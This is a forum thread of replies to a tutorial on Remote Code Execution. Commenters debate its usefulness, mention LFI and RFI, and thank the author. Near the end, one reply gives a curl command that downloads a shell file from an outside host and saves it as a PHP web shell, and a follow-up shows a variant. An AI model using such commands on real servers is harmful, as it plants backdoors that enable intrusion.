[John Rogers]

This isn't really that helpful, you should use a real vulnerability (in like a, MyBB plugin or something) as an example, that would help people get the idea more. :)

[Th3PonyWizard]

The concept is there, but I'd note that this sort of pure RCE attack is simply surreal. By methods such as LFI, RFI, etc you archive RCE which is dis. Don't know know why you're forcing yourself to stay on GET, as it'll be the same over any form of user input c:

[John Rogers]

What the hell are you talking about?
This tutorial made perfect sense, and was completely helpful. The only difference is OP didn't provide PoC (Proof Of Concept) for how you could possibly use this against forums.

The tutorial was for "Remote Code Execution", not "MyBB RCE 0day".

Does this tutorial accurately explain the concept of RCE? - Yes.
Could anyone reading this now obtain RCE providing they've found the correct conditions? - Yes.

Thread was helpful.

;_;
I am saying that OP should have used an actual real world vulnerability as an example, this would give people an idea of auditing code. I said MyBB plugin as a suggestion, not prompting him to release a 0day for MyBB...

You can learn more from reading an article or whitepaper on the subject. Either make a good tutorial, or don't make one at all.
:C

[Hannibal Rising]

Thank you for the tutorial, OP.
Might be useful, somehow.

[lolwaitwut]

Thank you, for posting this. Was wondering what RCE meant

[Icmp Traffic]

Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code

curl http://www.site.com/shell.txt > shell.php

Regards,
Blackhawk

hey kiddo forgeting the -o switch i see ;)
curl http://uselesstut.com -o lol.php